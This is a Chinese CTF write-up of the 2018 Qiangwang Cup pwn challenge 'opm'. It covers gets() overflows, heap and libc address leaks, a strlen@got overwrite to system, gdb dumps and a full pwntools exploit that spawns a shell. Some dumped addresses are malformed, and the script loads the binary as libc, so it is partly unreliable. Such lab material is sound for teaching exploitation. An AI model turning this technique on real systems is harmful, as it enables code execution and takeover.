

强网杯 2018 opm

原创

[qq_33528164](#) 于 2018-05-23 20:19:50 发布 911 收藏 1

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订阅专栏

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前言

这篇 WP 是强网杯过去了很久之后才出的, 参考的是极目楚天舒师傅的博客, 这位师傅是一位 CTF 老赛手, 最近复出. 由于图片中不能 CTRL+F 出文字, 本文章尽量避免使用图片, 除非必要.

程序运行

1. menu

```
You were invited to beat one punch man!  
(A)dd a new role  
(S)how all roles  
(E)xit
```

2. Add

```
A  
Your name:  
Bill  
N punch?  
128  
<Bill> said he can kill the boss with 80 punches
```

3. Show

```
<Bill> said he can kill the boss with 80 punches  
You were invited to beat one punch man!
```

4. Exit

```
! (退出)
```

程序分析

0. 结构体

```
struct node{
    char (*print)(struct node n) ; //函数指针
    char* name;
    int name_number;
    int punch;
};
```

2. 分析

这道题没有用到什么高深的堆分配和释放的知识, 就一个词溢出. IDA F5 之后, 发现 Add 过程存在一个溢出漏洞, s 的下一个位置就是与 node 结构体相关的地址.

```
v0 = (int (__fastcall **)(__int64))operator new(0x20uLL);
sub_E2C(v0);
v7 = v0;
*v0 = sub_B30;
puts("Your name:");
gets(&s); // 溢出
v1 = (__int64)v7; // v1 = v7
*(__QWORD *)(v1 + 0x10) = strlen(&s);
v2 = strlen(&s);
v8 = (char *)malloc(v2);
strcpy(v8, &s);
v7[1] = (int (__fastcall *)(__int64))v8;
puts("\N punch?");
gets(&s); // 溢出
v3 = (__int64)v7; // v3 = v7
*(__DWORD *)(v3 + 0x18) = atoi(&s);
```

3. 总体思路

泄露堆地址, 泄露 got 地址, 泄露 strlen 真实地址, 修改 got 表中 strlen 项内容为 system, 发送 /bin/sh\x00.

过程

1. leak heap

```

add("A"*0x70, 9)
add("B"*0x80 + "\xf0", 9) #修改
...

0x7ffff7fcd700: 0x0000000000000000      0x0000000000000000
0x7ffff7fcd710: 0x000055c56a558cd0(正确地址)
修改之后
0x7ffff7fcd700: 0x4242424242424242      0x4242424242424242
0x7ffff7fcd710: 0x000055c56a550f0(一块可写区域)
..... 程序将一些信息写入此处
0x55c56a550f0: 0x0000000000000000  0x000055c56a558d00 <--
0x55c56a550100: 0x0000000000000081  0x0000000000000009
...
add("C"*0x80, "D"*0x80 + "\xf0") #leak
...
修改
0x7ffff7fcd700: 0x4343434343434343  0x4343434343434343
0x7ffff7fcd710: 0x000055c56a558d00 --> 'C'*0x80造成

程序将新malloc的地址写入0x55c56a558d00
0x55c56a558d00: 0x4242424242424242  0x000055c56a558dc0
0x55c56a558d10: 0x0000000000000080  0x4242424242424242

打印("D"*0x80 + "\xf0"), 此时的0x55c56a550f0还是 -----
...

```

结论: 泄露地址无非就是将地址放入可输入的部分, 然后执行输出函数.

2. leak function

```

add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
...
"d" *0x18 + p64(heap + 0x90) 如下效果
0x7ffff7fcd690: 0x6464646464646464  0x6464646464646464
0x7ffff7fcd6a0: 0x6464646464646464  0x000055c56a558e50 ---
..... |-----> 二者必须相同
0x7ffff7fcd700: 0x4444444444444444  0x4444444444444444 |
0x7ffff7fcd710: 0x000055c56a558e50  -----
...
#'131425' + "F"*0x7a + p64(heap + 0xd0) 如下效果

```

```

0x55c56a558e40: 0x0000000000000000      0x0000000000000031
0x55c56a558e50: 0x000055c5686bdb30      0x0000000000000000
0x55c56a558e60: 0x0000000000000001e      0x0000000000000000
0x55c56a558e70: 0x0000000000000000      0x0000000000000031
输入punch,溢出为下地址 0x6464646464646464  0x6464646464646464
0x55c56a558e90: 0x6464646464646464      0x000055c56a558e50
0x55c56a558ea0: 0x0000000000000000      0x00000000000020161

```

结论: 131425 是为了防止 top chunk 被赋值为0.

3. leak strlen address

```

add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))

```

小结: 理解了上一步 leak function, 这一步原理同上.

4. modify strlen@got

```
add("bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen@got-0x18))
```

小结: 看似程序中没有写入功能, 实际上是存在写入的功能的. 就是 `punch` 大小的读入, 我们可以写入 `system` 真实地址的后四个字节, 前几个字节都一样, 而且我们也只能写入四个字节.

```
gdb-peda$ x/40gx 0x55c5688befc0
0x55c5688befc0: 0x0000000000000000      0x0000000000000000
0x55c5688befd0: 0x0000000000000000      0x0000000000000000
0x55c5688befe0: 0x00007fdeae7ab2d0      0x00007fdeae7ab2d0
0x55c5688bfff0: 0x00007fdeae7ab2d0      0x00007fdeae7ab2d0
0x55c5688bf000: 0x00000000000201dd0      0x00007fdeaf0ee168
0x55c5688bf010: 0x00007fdeaeede870      0x00007fdeae7c6800
0x55c5688bf020: 0x00007fdeae7e0690      0x00007fdeae868250
0x55c5688bf030: 0x00007fdeae7f5130      0x00007fdeae791740
0x55c5688bf040: 0x00007fdeae7b6390      strlen@got已修改为system
0x55c5688bf050: 0x00007fdeae7dfd80      0x00007fdeae7e7000
0x55c5688bf060: 0x000055c5686bd9c6      0x00007fdeae8169d0
0x55c5688bf070: 0x00007fdeae7bce1d0      0x0000000000000000
0x55c5688bf080: 0x000055c5688bf080      0x0000000000000000
0x55c5688bf090: 0x0000000000000000      0x0000000000000000
0x55c5688bf0a0: 0x0000000000000000      0x0000000000000000
0x55c5688bf0b0: 0x0000000000000000      0x0000000000000000
0x55c5688bf0c0: 0x0000000000000000      0x0000000000000000
0x55c5688bf0d0: 0x0000000000000000      0x0000000000000000
0x55c5688bf0e0: 0x000055c56a558c20      0x000055c56a5500f0
0x55c5688bf0f0: 0x000055c56a5500f0      0x000055c56a558e90
gdb-peda$ print system
$3 = {<text variable, no debug info>} 0x7fdeae7b6390 <__libc_system>
```

The Whole EXP

```

from pwn import *

p = process("./opm")
elf = ELF("./opm")
libc = ELF("./opm")

context.log_level = 'debug'

def add(name, number):
    p.recvuntil("(E)xit\n")
    p.sendline("A")
    p.recvuntil("Your name:\n")
    p.sendline(name)
    p.recvuntil("N punch?\n")
    p.sendline(str(number))

def show():
    p.recvuntil("(E)xit\n")
    p.sendline("S")

def quit():
    p.recvuntil("(E)xit\n")
    p.sendline("E")

#part one: leak heap
add("A"*0x70, 9)
gdb.attach(p)
add("B"*0x80 + "\xf0", 9)
add("C"*0x80, "D"*0x80 + "\xf0")
heap = u64(p.recv(15)[9:].ljust(8, "\x00"))
log.info("heap: %s" % hex(heap))

#part two: leak function ptr
add("d" *0x18 + p64(heap + 0x90), '131425' + "F"*0x7a + p64(heap + 0xd0))
func_ptr = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("function_ptr: %s" % hex(func_ptr))

#part three: leak strlen real address
base = func_ptr - 0xb30
strlen_got = base + elf.got['strlen']
gdb.attach(p)
add("d"*0x18 + p64(strlen_got), "131329" + "F"*0x7a + p64(heap + 0x130))
strlen = u64(p.recv(7)[1:].ljust(8, "\x00"))
log.info("real strlen: %s" % hex(strlen))

#part four: modify strlen got
system_addr = strlen - 0x46390
log.info("system: %s" % hex(system_addr))
gdb.attach(p)
add("Bill", str(system_addr & 0xffffffff).ljust(0x80, "G") + p64(strlen_got-0x18))
add("/bin/sh\x00", 8)
p.interactive()

```

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